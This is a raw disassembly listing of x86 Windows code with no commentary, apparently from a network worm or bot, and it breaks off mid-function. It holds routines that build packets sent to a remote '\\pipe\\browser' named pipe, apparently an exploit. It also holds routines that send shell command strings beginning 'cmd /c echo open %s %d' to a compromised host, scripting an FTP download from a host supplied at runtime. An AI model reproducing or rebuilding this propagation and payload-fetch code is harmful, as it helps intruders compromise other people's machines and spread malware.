arg_0 = byte ptr 4
cmp [esp+arg_0], 0
push esi
mov esi, ecx
jz short loc_404693
mov eax, [esi+4]
test eax, eax
jz short loc_404693
lea ecx, [eax-1]
mov al, [eax-1]
test al, al
jz short loc_40468C
cmp al, 0FFh
jz short loc_40468C
dec al
mov [ecx], al
jmp short loc_404693
; ---------------------------------------------------------------------------
loc_40468C: ; CODE XREF: sub_404667+19j
; sub_404667+1Dj
push ecx
call sub_4182AF
pop ecx
loc_404693: ; CODE XREF: sub_404667+8j
; sub_404667+Fj ...
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop esi
retn 4
sub_404667 endp
; =============== S U B R O U T I N E =======================================
sub_4046A3 proc near ; CODE XREF: ___:004043C3p
; sub_4047FC+28p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
mov edi, [esp+8+arg_4]
push 1
mov esi, ecx
push edi
call sub_4045E2
test al, al
jz short loc_4046D1
push edi
push [esp+0Ch+arg_0]
push dword ptr [esi+4]
call sub_417390
mov eax, [esi+4]
add esp, 0Ch
mov [esi+8], edi
and byte ptr [eax+edi], 0
loc_4046D1: ; CODE XREF: sub_4046A3+12j
mov eax, esi
pop edi
pop esi
retn 8
sub_4046A3 endp
; =============== S U B R O U T I N E =======================================
sub_4046D8 proc near ; CODE XREF: sub_404514+39p
; sub_404514+45p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, ecx
cmp [edi+8], esi
jnb short loc_4046EB
call sub_422863
loc_4046EB: ; CODE XREF: sub_4046D8+Cj
mov ecx, edi
call sub_4047FC
mov eax, [edi+8]
mov ebx, [esp+0Ch+arg_4]
sub eax, esi
cmp eax, ebx
jnb short loc_404701
mov ebx, eax
loc_404701: ; CODE XREF: sub_4046D8+25j
test ebx, ebx
jbe short loc_404737
mov ecx, [edi+4]
sub eax, ebx
add ecx, esi
push eax
lea eax, [ecx+ebx]
push eax
push ecx
call sub_4182C0
mov esi, [edi+8]
add esp, 0Ch
sub esi, ebx
mov ecx, edi
push 0
push esi
call sub_4045E2
test al, al
jz short loc_404737
mov eax, [edi+4]
mov [edi+8], esi
and byte ptr [esi+eax], 0
loc_404737: ; CODE XREF: sub_4046D8+2Bj
; sub_4046D8+53j
mov eax, edi
pop edi
pop esi
pop ebx
retn 8
sub_4046D8 endp
; =============== S U B R O U T I N E =======================================
sub_40473F proc near ; CODE XREF: sub_4045E2+79p
mov eax, offset loc_423110
call sub_418290
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, [ebp+8]
or edi, 1Fh
mov esi, ecx
cmp edi, 0FFFFFFFDh
mov [ebp-10h], esp
mov [ebp-14h], esi
jbe short loc_404765
mov edi, [ebp+8]
loc_404765: ; CODE XREF: sub_40473F+21j
and dword ptr [ebp-4], 0
lea eax, [edi+2]
test eax, eax
jge short loc_404772
xor eax, eax
loc_404772: ; CODE XREF: sub_40473F+2Fj
push eax
call sub_4185F5
pop ecx
mov [ebp+8], eax
jmp short loc_4047A3
; ---------------------------------------------------------------------------
loc_40477E: ; DATA XREF: ___:00424F9Co
mov eax, [ebp+8]
mov [ebp-18h], eax
add eax, 2
test eax, eax
jge short loc_40478D
xor eax, eax
loc_40478D: ; CODE XREF: sub_40473F+4Aj
push eax
call sub_4185F5
mov [ebp+8], eax
pop ecx
mov eax, offset loc_40479D
retn
; ---------------------------------------------------------------------------
loc_40479D: ; DATA XREF: sub_40473F+58o
mov esi, [ebp-14h]
mov edi, [ebp-18h]
loc_4047A3: ; CODE XREF: sub_40473F+3Dj
mov eax, [esi+8]
test eax, eax
jbe short loc_4047C1
cmp eax, edi
jbe short loc_4047B0
mov eax, edi
loc_4047B0: ; CODE XREF: sub_40473F+6Dj
push eax
mov eax, [ebp+8]
push dword ptr [esi+4]
inc eax
push eax
call sub_417390
add esp, 0Ch
loc_4047C1: ; CODE XREF: sub_40473F+69j
mov ebx, [esi+8]
push 1
mov ecx, esi
call sub_404667
mov eax, [ebp+8]
inc eax
mov [esi+4], eax
and byte ptr [eax-1], 0
cmp ebx, edi
mov [esi+0Ch], edi
ja short loc_4047E1
mov edi, ebx
loc_4047E1: ; CODE XREF: sub_40473F+9Ej
mov eax, [esi+4]
mov ecx, [ebp-0Ch]
mov [esi+8], edi
and byte ptr [eax+edi], 0
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 4
sub_40473F endp
; =============== S U B R O U T I N E =======================================
sub_4047FC proc near ; CODE XREF: sub_4046D8+15p
push esi
push edi
mov edi, ecx
mov esi, [edi+4]
test esi, esi
jz short loc_404829
mov al, [esi-1]
test al, al
jz short loc_404829
cmp al, 0FFh
jz short loc_404829
push 1
call sub_404667
push esi
call sub_417AB0
pop ecx
push eax
push esi
mov ecx, edi
call sub_4046A3
loc_404829: ; CODE XREF: sub_4047FC+9j
; sub_4047FC+10j ...
pop edi
pop esi
retn
sub_4047FC endp
; =============== S U B R O U T I N E =======================================
sub_40482C proc near ; DATA XREF: ___:00426008o
test byte_48A30C, 1
jnz short loc_40483C
or byte_48A30C, 1
loc_40483C: ; CODE XREF: sub_40482C+7j
jmp $+5
push offset nullsub_1
call sub_418670
pop ecx
retn
sub_40482C endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40484E proc near ; DATA XREF: ___:0042600Co
jmp $+5
sub_40484E endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_404853 proc near
mov eax, dword_428BE0
add eax, 6
mov dword_43C828, eax
retn
sub_404853 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404861 proc near ; CODE XREF: sub_404861+D0p
; ___:00404DC0p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_7 = byte ptr 0Fh
arg_C = word ptr 14h
arg_14 = dword ptr 1Ch
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
arg_28 = byte ptr 30h
arg_2B = byte ptr 33h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_28], 0
push ebx
push esi
push edi
jz short loc_404875
or [ebp+arg_7], 1
jmp short loc_404879
; ---------------------------------------------------------------------------
loc_404875: ; CODE XREF: sub_404861+Cj
and [ebp+arg_7], 0FEh
loc_404879: ; CODE XREF: sub_404861+12j
mov ecx, [ebp+arg_24]
mov ebx, [ebp+arg_20]
movzx eax, cx
lea edx, [ebx+18h]
cmp edx, eax
ja short loc_40489D
or [ebp+arg_7], 2
and [ebp+arg_2B], 0
lea eax, [ebx+18h]
mov [ebp+arg_14], ebx
mov [ebp+arg_C], ax
jmp short loc_4048AF
; ---------------------------------------------------------------------------
loc_40489D: ; CODE XREF: sub_404861+26j
add eax, 0FFFFFFE8h
and [ebp+arg_7], 0FDh
mov [ebp+arg_C], cx
mov [ebp+arg_14], eax
mov [ebp+arg_2B], 1
loc_4048AF: ; CODE XREF: sub_404861+3Aj
movzx eax, [ebp+arg_C]
push eax
mov [ebp+var_4], eax
call sub_417B89
test eax, eax
pop ecx
mov [ebp+arg_20], eax
jz loc_404948
push 6
lea esi, [ebp+arg_4]
pop ecx
mov edi, eax
rep movsd
mov edi, [ebp+arg_14]
mov esi, [ebp+arg_1C]
push edi
add eax, 18h
push esi
push eax
call sub_417390
add esp, 0Ch
lea eax, [ebp+var_8]
push 0
push eax
push [ebp+var_4]
push [ebp+arg_20]
push [ebp+arg_0]
nop
call near ptr 2620000h
test eax, eax
jz short loc_40493F
mov eax, [ebp+var_4]
cmp [ebp+var_8], eax
jnz short loc_40493F
push [ebp+arg_20]
call sub_417C3B
cmp [ebp+arg_2B], 0
pop ecx
jz short loc_40493B
push 0
sub ebx, edi
push [ebp+arg_24]
add edi, esi
lea esi, [ebp+arg_4]
push ebx
push edi
sub esp, 18h
push 6
pop ecx
mov edi, esp
push [ebp+arg_0]
rep movsd
call sub_404861
add esp, 2Ch
jmp short loc_40494A
; ---------------------------------------------------------------------------
loc_40493B: ; CODE XREF: sub_404861+B3j
mov al, 1
jmp short loc_40494A
; ---------------------------------------------------------------------------
loc_40493F: ; CODE XREF: sub_404861+9Cj
; sub_404861+A4j
push [ebp+arg_20]
call sub_417C3B
pop ecx
loc_404948: ; CODE XREF: sub_404861+61j
xor al, al
loc_40494A: ; CODE XREF: sub_404861+D8j
; sub_404861+DCj
pop edi
pop esi
pop ebx
leave
retn
sub_404861 endp
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 0B8h ; ¸
db 0DCh ; Ü
db 60h ; `
db 0
db 0
db 0E8h ; è
db 0D4h ; Ô
db 31h ; 1
db 1
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 68h ; h
db 5Ch ; \
db 8Ch ; Œ
db 42h ; B
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 24h ; $
db 3Eh ; >
db 1
db 0
db 59h ; Y
db 33h ; 3
db 0DBh ; Û
db 85h ; …
db 0C0h ; À
db 59h ; Y
db 74h ; t
db 4Eh ; N
db 0FFh
db 75h ; u
db 8
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 68h ; h
db 28h ; (
db 86h ; †
db 42h ; B
db 0
db 56h ; V
db 50h ; P
db 0E8h ; è
db 9Ch ; œ
db 2Eh ; .
db 1
db 0
db 6Ah ; j
db 20h
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 53h ; S
db 50h ; P
db 0E8h ; è
db 93h ; “
db 29h ; )
db 1
db 0
db 8Dh ;
db 85h ; …
db 24h ; $
db 0DFh ; ß
db 0FFh
db 0FFh
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 89h ; ‰
db 85h ; …
db 38h ; 8
db 0FFh
db 0FFh
db 0FFh
db 0B8h ; ¸
db 0Ch
db 0C8h ; È
db 43h ; C
db 0
db 53h ; S
db 50h ; P
db 50h ; P
db 8Dh ;
db 85h ; …
db 24h ; $
db 0FFh
db 0FFh
db 0FFh
db 50h ; P
db 0E8h ; è
db 80h ; €
db 0E0h ; à
db 1
db 0
; ---------------------------------------------------------------------------
jmp short loc_4049C7
; ---------------------------------------------------------------------------
db 0BEh ; ¾
db 0
db 20h
db 0
db 0
; ---------------------------------------------------------------------------
loc_4049C7: ; CODE XREF: ___:004049C0j
push dword ptr [ebp+8]
lea eax, [ebp-40DCh]
push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser"
push esi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp-40DCh]
push ebx
push 40000000h
push 3
push ebx
push 3
push 0C0000000h
push eax
nop
call near ptr 2630000h
cmp eax, 0FFFFFFFFh
mov [ebp-4], eax
jnz short loc_404A0B
loc_404A04: ; CODE XREF: ___:00404AE3j
; ___:00404CB9j ...
xor al, al
jmp loc_404E4F
; ---------------------------------------------------------------------------
loc_404A0B: ; CODE XREF: ___:00404A02j
push 48h
lea eax, [ebp-0B8h]
push ebx
push eax
call sub_417330
push 10h
mov byte ptr [ebp-0B8h], 5
pop eax
mov [ebp-0B7h], bl
push 1
mov [ebp-0B4h], eax
pop edi
mov byte ptr [ebp-0B6h], 0Bh
push eax
lea eax, [ebp-98h]
push offset dword_428C34
push eax
mov byte ptr [ebp-0B5h], 3
mov word ptr [ebp-0B0h], 48h
mov [ebp-0AEh], bx
mov [ebp-0ACh], ebx
mov word ptr [ebp-0A8h], 10B8h
mov word ptr [ebp-0A6h], 10B8h
mov [ebp-0A4h], ebx
mov [ebp-0A0h], edi
mov [ebp-9Ch], bx
mov byte ptr [ebp-9Ah], 1
call sub_417390
push 10h
lea eax, [ebp-84h]
push offset dword_428C20
push eax
mov dword ptr [ebp-88h], 3
call sub_417390
add esp, 24h
lea eax, [ebp-0BCh]
mov dword ptr [ebp-74h], 2
push ebx
push eax
lea eax, [ebp-0B8h]
push 48h
push eax
push dword ptr [ebp-4]
call near ptr 2620000h
nop
test eax, eax
jnz short loc_404AE8
loc_404ADA: ; CODE XREF: ___:00404BB4j
push dword ptr [ebp-4]
nop
call near ptr 2611A31h
jmp loc_404A04
; ---------------------------------------------------------------------------
loc_404AE8: ; CODE XREF: ___:00404AD8j
lea eax, [ebp-14h]
push ebx
push eax
lea eax, [ebp-60DCh]
push esi
push eax
push dword ptr [ebp-4]
nop
call near ptr 2611183h
push ebx
call sub_4186B1
push eax
call sub_417302
push 14h
lea eax, [ebp-70h]
push 41h
push eax
call sub_417330
push 1Ch
lea eax, [ebp-30h]
push 41h
push eax
call sub_417330
add esp, 20h
call sub_41730C
mov esi, [ebp+0Ch]
mov [ebp-70h], eax
mov [ebp-64h], edi
mov [ebp-68h], ebx
lea esi, [esi+esi*4]
mov [ebp-6Ch], edi
shl esi, 2
mov [ebp-60h], bx
cmp byte_428BC8[esi], bl
jz short loc_404B5F
push 4
mov [ebp-24h], edi
mov [ebp-28h], ebx
mov [ebp-2Ch], edi
push offset dword_43C830
jmp short loc_404B72
; ---------------------------------------------------------------------------
loc_404B5F: ; CODE XREF: ___:00404B4Bj
push 2
mov [ebp-28h], ebx
pop eax
push 4
mov [ebp-24h], eax
mov [ebp-2Ch], eax
push (offset loc_428C17+1)
loc_404B72: ; CODE XREF: ___:00404B5Dj
lea eax, [ebp-20h]
push eax
call sub_417390
add esp, 0Ch
call sub_41730C
mov edi, 0FAh
cdq
mov ecx, edi
idiv ecx
inc edx
mov [ebp-30h], edx
call sub_41730C
cdq
idiv edi
mov eax, dword_428BBC[esi]
mov [ebp-18h], ebx
push eax
mov [ebp+8], eax
inc edx
mov [ebp-1Ch], edx
call sub_417B89
mov edi, eax
pop ecx
cmp edi, ebx
jz loc_404ADA
mov eax, [ebp+8]
add eax, 0FFFFFFFEh
push eax
push 90h
push edi
call sub_417330
mov eax, [ebp+8]
push 2
push ebx
lea eax, [edi+eax-2]
push eax
call sub_417330
mov eax, dword_428BC4[esi]
push 7
add eax, edi
push offset dword_428BB0
push eax
mov [ebp+0Ch], eax
call sub_417390
mov eax, [ebp+0Ch]
push 15Ch
add eax, 7
push offset dword_428A50
push eax
call sub_417390
mov eax, dword_428BC0[esi]
add esp, 30h
cmp byte_428BC8[esi], bl
mov [ebp+0Ch], eax
jz short loc_404C6B
push 4
add eax, edi
push offset dword_43C828
push eax
call sub_417390
add dword ptr [ebp+0Ch], 0Ch
mov esi, offset dword_428BE0
mov eax, [ebp+0Ch]
push 4
add eax, edi
push esi
push eax
call sub_417390
mov eax, [ebp+0Ch]
push 4
push esi
lea eax, [eax+edi+24h]
push eax
mov [ebp+0Ch], eax
call sub_417390
mov eax, [ebp+0Ch]
push 4
add eax, 0Ch
push esi
push eax
call sub_417390
add esp, 30h
jmp short loc_404C93
; ---------------------------------------------------------------------------
loc_404C6B: ; CODE XREF: ___:00404C1Cj
add eax, edi
mov dword ptr [ebp-8], 10h
mov [ebp+0Ch], eax
mov esi, offset dword_428BE0
loc_404C7C: ; CODE XREF: ___:00404C91j
push 4
push esi
push dword ptr [ebp+0Ch]
call sub_417390
add dword ptr [ebp+0Ch], 4
add esp, 0Ch
dec dword ptr [ebp-8]
jnz short loc_404C7C
loc_404C93: ; CODE XREF: ___:00404C69j
mov eax, [ebp+8]
add eax, 42h
push eax
call sub_417B89
mov esi, eax
pop ecx
cmp esi, ebx
mov [ebp-8], esi
jnz short loc_404CBE
push dword ptr [ebp-4]
call near ptr 2611A31h
nop
push edi
call sub_417C3B
pop ecx
jmp loc_404A04
; ---------------------------------------------------------------------------
loc_404CBE: ; CODE XREF: ___:00404CA7j
mov eax, [ebp+8]
add eax, 42h
push eax
push ebx
push esi
call sub_417330
lea eax, [ebp-70h]
push 14h
push eax
push esi
call sub_417390
mov eax, [ebp+8]
mov [ebp-0Ch], ebx
mov [ebp-10h], eax
add esp, 10h
fild qword ptr [ebp-10h]
fmul flt_424294
fstp qword ptr [esp]
call sub_417DEB
call sub_417DC4
push dword ptr [ebp+8]
mov [esi+1Ch], eax
mov [esi+18h], ebx
mov eax, [esi+1Ch]
mov [esi+14h], eax
lea eax, [esi+20h]
push edi
push eax
call sub_417390
mov eax, [ebp+8]
add esp, 14h
add eax, 20h
test al, 3
mov [ebp+0Ch], eax
jz short loc_404D2B
loc_404D23: ; CODE XREF: ___:00404D26j
inc eax
test al, 3
jnz short loc_404D23
mov [ebp+0Ch], eax
loc_404D2B: ; CODE XREF: ___:00404D21j
lea ecx, [ebp-30h]
push 1Ch
add eax, esi
push ecx
push eax
call sub_417390
add dword ptr [ebp+0Ch], 1Ch
push edi
call sub_417C3B
push 18h
lea eax, [ebp-48h]
push ebx
push eax
call sub_417330
push 14h
lea eax, [ebp-5Ch]
push ebx
push eax
mov byte ptr [ebp-48h], 5
mov [ebp-47h], bl
mov [ebp-46h], bl
mov byte ptr [ebp-45h], 3
mov dword ptr [ebp-44h], 10h
mov [ebp-3Eh], bx
mov [ebp-3Ch], ebx
mov [ebp-34h], bx
mov word ptr [ebp-32h], 1Fh
call sub_417330
add esp, 28h
push ebx
push ebx
push 1
push ebx
nop
call near ptr 26303A9h
mov [ebp-4Ch], eax
mov [ebp+0Bh], bl
mov [ebp-0Ch], ebx
loc_404D98: ; CODE XREF: ___:00404E22j
cmp dword ptr [ebp-0Ch], 2
jge loc_404E2D
push 1
push 10B8h
push dword ptr [ebp+0Ch]
inc dword ptr [ebp-0Ch]
push esi
lea esi, [ebp-48h]
sub esp, 18h
push 6
pop ecx
mov edi, esp
push dword ptr [ebp-4]
rep movsd
call sub_404861
add esp, 2Ch
test al, al
jz short loc_404E2A
cmp [ebp-4Ch], ebx
jz short loc_404E1C
lea eax, [ebp-5Ch]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-60DCh]
push 2000h
push eax
push dword ptr [ebp-4]
nop
call near ptr 2611183h
test eax, eax
jnz short loc_404E03
call near ptr 2630313h
nop
cmp eax, 3E5h
jnz loc_404A04
loc_404E03: ; CODE XREF: ___:00404DF0j
push 3E8h
push dword ptr [ebp-4Ch]
nop
call near ptr 2630272h
cmp eax, 102h
jnz short loc_404E1C
mov byte ptr [ebp+0Bh], 1
loc_404E1C: ; CODE XREF: ___:00404DCFj
; ___:00404E16j
cmp [ebp+0Bh], bl
mov esi, [ebp-8]
jz loc_404D98
jmp short loc_404E2D
; ---------------------------------------------------------------------------
loc_404E2A: ; CODE XREF: ___:00404DCAj
mov esi, [ebp-8]
loc_404E2D: ; CODE XREF: ___:00404D9Cj
; ___:00404E28j
push dword ptr [ebp-4]
mov edi, dword_424078
call edi
push esi
call sub_417C3B
cmp [ebp-4Ch], ebx
pop ecx
jz short loc_404E49
push dword ptr [ebp-4Ch]
call edi
loc_404E49: ; CODE XREF: ___:00404E42j
cmp [ebp+0Bh], bl
setnz al
loc_404E4F: ; CODE XREF: ___:00404A06j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
db 55h ; U
db 8Bh ; ‹
db 0ECh ; ì
db 81h ;
db 0ECh ; ì
db 0A0h ;
db 5
db 0
db 0
db 53h ; S
db 56h ; V
db 57h ; W
db 33h ; 3
db 0F6h ; ö
db 6Ah ; j
db 10h
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 56h ; V
db 50h ; P
db 0E8h ; è
db 0C2h ; Â
db 24h ; $
db 1
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 0Ch
db 8Dh ;
db 45h ; E
db 0Ch
db 66h ; f
db 0C7h ; Ç
db 45h ; E
db 0F0h ; ð
db 2
db 0
db 50h ; P
db 0E8h ; è
db 78h ; x
db 0C4h ; Ä
db 6Ah ; j
db 71h ; q
db 90h ;
db 0FFh
db 0B5h ; µ
db 0C4h ; Ä
db 0
db 0
db 0
db 89h ; ‰
db 45h ; E
db 0F4h ; ô
db 90h ;
db 0E8h ; è
db 0B6h ; ¶
db 0C8h ; È
db 6Ah ; j
db 71h ; q
db 56h ; V
db 6Ah ; j
db 1
db 6Ah ; j
db 2
db 66h ; f
db 89h ; ‰
db 45h ; E
db 0F2h ; ò
db 90h ;
db 0E8h ; è
db 83h ; ƒ
db 0EDh ; í
db 6Ah ; j
db 71h ; q
db 8Bh ; ‹
db 0D8h ; Ø
db 83h ; ƒ
db 0FBh ; û
db 0FFh
db 74h ; t
db 7Ch ; |
db 8Dh ;
db 45h ; E
db 0F0h ; ð
db 6Ah ; j
db 10h
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 0AAh ; ª
db 0EFh ; ï
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 74h ; t
db 6Ah ; j
db 0BFh ; ¿
db 0
db 4
db 0
db 0
db 56h ; V
db 8Bh ; ‹
db 35h ; 5
db 4
db 42h ; B
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 0B8h ; ¸
db 74h ; t
db 0F6h ; ö
db 42h ; B
db 0
db 50h ; P
db 50h ; P
db 0FFh
db 35h ; 5
db 3Ch ; <
db 0C8h ; È
db 43h ; C
db 0
db 0FFh
db 75h ; u
db 8
db 0E8h ; è
db 0FCh ; ü
db 5Fh ; _
db 0
db 0
db 59h ; Y
db 50h ; P
db 68h ; h
db 0DCh ; Ü
db 89h ; ‰
db 42h ; B
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 68h ; h
db 90h ;
db 1
db 0
db 0
db 50h ; P
db 0E8h ; è
db 2Eh ; .
db 29h ; )
db 1
db 0
db 83h ; ƒ
db 0C4h ; Ä
db 1Ch
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 6Ah ; j
db 0
db 50h ; P
db 0E8h ; è
db 0A3h ; £
db 2Bh ; +
db 1
db 0
db 59h ; Y
db 50h ; P
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FEh ; þ
db 0FFh
db 0FFh
db 50h ; P
db 53h ; S
db 90h ;
db 0E8h ; è
db 0D7h ; ×
db 0CBh ; Ë
db 6Ah ; j
db 71h ; q
db 83h ; ƒ
db 0F8h ; ø
db 0FFh
db 75h ; u
db 4
db 33h ; 3
db 0C0h ; À
db 0EBh ; ë
db 17h
db 6Ah ; j
db 0
db 8Dh ;
db 85h ; …
db 60h ; `
db 0FAh ; ú
db 0FFh
db 0FFh
db 57h ; W
db 50h ; P
db 53h ; S
db 0FFh
db 0D6h ; Ö
db 53h ; S
db 0E8h ; è
db 34h ; 4
db 0CBh ; Ë
db 6Ah ; j
db 71h ; q
db 90h ;
db 6Ah ; j
db 1
db 58h ; X
db 5Fh ; _
db 5Eh ; ^
db 5Bh ; [
db 0C9h ; É
db 0C3h ; Ã
dw 5653h
dd 8DDB3357h, 53142444h, 0F9FDE850h, 8459FFFFh, 227459C0h
dd 748D656Ah, 0EC811424h, 0BCh, 8B592F6Ah, 0E8A5F3FCh
dd 0FFFFFEE4h, 0C0C481h, 0C0850000h, 0DB851B75h, 0D0680B75h
dd 90000007h, 1EB4B0E8h, 0FB834302h, 33B87202h, 5B5E5FC0h
dd 58016AC3h
db 0EBh, 0F7h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_404F9A proc near ; CODE XREF: ___:00405119p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_BC = dword ptr 0C4h
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor esi, esi
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
nop
call near ptr 71AB12F8h
push [ebp+arg_BC]
mov [ebp+var_C], eax
call near ptr 71AB1746h
nop
push esi
push 1
push 2
mov [ebp+var_E], ax
call near ptr 71AB3C22h
nop
mov ebx, eax
cmp ebx, 0FFFFFFFFh
jz short loc_405068
lea eax, [ebp+var_10]
push 10h
push eax
push ebx
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jz short loc_405068
mov edi, 400h
push esi
mov esi, dword_424204
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
mov eax, offset byte_42F674
push eax
push eax
push dword_43C83C
push [ebp+arg_0]
call sub_40AEE0
pop ecx
push eax
push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
lea eax, [ebp+var_1A0]
push 190h
push eax
call sub_41782A
add esp, 1Ch
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push ebx
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
jnz short loc_40506C
loc_405068: ; CODE XREF: sub_404F9A+50j
; sub_404F9A+62j
xor eax, eax
jmp short loc_405083
; ---------------------------------------------------------------------------
loc_40506C: ; CODE XREF: sub_404F9A+CCj
push 0
lea eax, [ebp+var_5A0]
push edi
push eax
push ebx
call esi ; recv
push ebx
nop
call near ptr 71AB1A6Dh
push 1
pop eax
loc_405083: ; CODE XREF: sub_404F9A+D0j
pop edi
pop esi
pop ebx
leave
retn
sub_404F9A endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 10h
push esi
lea eax, [ebp+0Ch]
push edi
push eax
mov word ptr [ebp-10h], 2
call dword_43F6A8
push dword ptr [ebp+0A8h]
mov [ebp-0Ch], eax
call dword_43F668
push 6
push 1
push 2
mov [ebp-0Eh], ax
nop
call near ptr 71AB3C22h
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4050FA
lea eax, [ebp-10h]
push 10h
push eax
push esi
nop
call near ptr 71AB3E5Dh
cmp eax, 0FFFFFFFFh
jnz short loc_4050DB
push esi
jmp short loc_4050F4
; ---------------------------------------------------------------------------
loc_4050DB: ; CODE XREF: ___:004050D6j
push 0
push 1213h
push offset dword_428C60
push esi
call near ptr 71AB1AF4h
nop
cmp eax, 0FFFFFFFFh
push esi
jnz short loc_4050FE
loc_4050F4: ; CODE XREF: ___:004050D9j
nop
call near ptr 71AB1A6Dh
loc_4050FA: ; CODE XREF: ___:004050C4j
xor eax, eax
jmp short loc_405140
; ---------------------------------------------------------------------------
loc_4050FE: ; CODE XREF: ___:004050F2j
nop
call near ptr 71AB1A6Dh
push 216Bh
lea esi, [ebp+8]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_404F9A
add esp, 0C0h
test eax, eax
jz short loc_40513D
mov eax, [ebp+0B0h]
imul eax, 3Ch
inc dword_42ACB8[eax]
lea eax, dword_42ACB8[eax]
loc_40513D: ; CODE XREF: ___:00405126j
push 1
pop eax
loc_405140: ; CODE XREF: ___:004050FCj
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405144 proc near ; CODE XREF: ___:00405340p
var_5A0 = byte ptr -5A0h
var_1A0 = byte ptr -1A0h
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
push ebp
mov ebp, esp
sub esp, 5A0h
push ebx
push esi
push edi
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_417330
add esp, 0Ch
lea eax, [ebp+arg_4]
mov [ebp+var_10], 2
push eax
call dword_43F6A8
mov [ebp+var_C], eax
mov ax, word_42A040
push eax
call dword_43F668
push edi
push 1
push 2
mov [ebp+var_E], ax
call dword_43F6E8
mov esi, eax
cmp esi, 0FFFFFFFFh
jz loc_40525B
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43F610
cmp eax, 0FFFFFFFFh
jz loc_40525B
mov ebx, 400h
push edi
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_43F680
push dword_43C83C
push [ebp+arg_0]
call sub_40AEE0
pop ecx
mov edi, 190h
push eax
push offset aEchoOpenSDOE_0 ; "echo open %s %d > o&echo user 1 1 >> o "...
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 14h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push esi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jz short loc_40525B
push 1F4h
nop
call near ptr 25F0439h
push offset byte_42F674
push offset dword_428598
lea eax, [ebp+var_1A0]
push edi
push eax
call sub_41782A
add esp, 10h
lea eax, [ebp+var_1A0]
push 0
push eax
call sub_417AB0
pop ecx
push eax
lea eax, [ebp+var_1A0]
push eax
push esi
call dword_43F6B8
cmp eax, 0FFFFFFFFh
jnz short loc_40525F
loc_40525B: ; CODE XREF: sub_405144+51j
; sub_405144+67j ...
xor al, al
jmp short loc_405279
; ---------------------------------------------------------------------------
loc_40525F: ; CODE XREF: sub_405144+115j
push 0
lea eax, [ebp+var_5A0]
push ebx
push eax
push esi
call dword_43F680
push esi
call dword_43F700
mov al, 1
loc_405279: ; CODE XREF: sub_405144+119j
pop edi
pop esi
pop ebx
leave
retn
sub_405144 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
lea eax, [ebp+0Ch]
push edi
push eax
nop
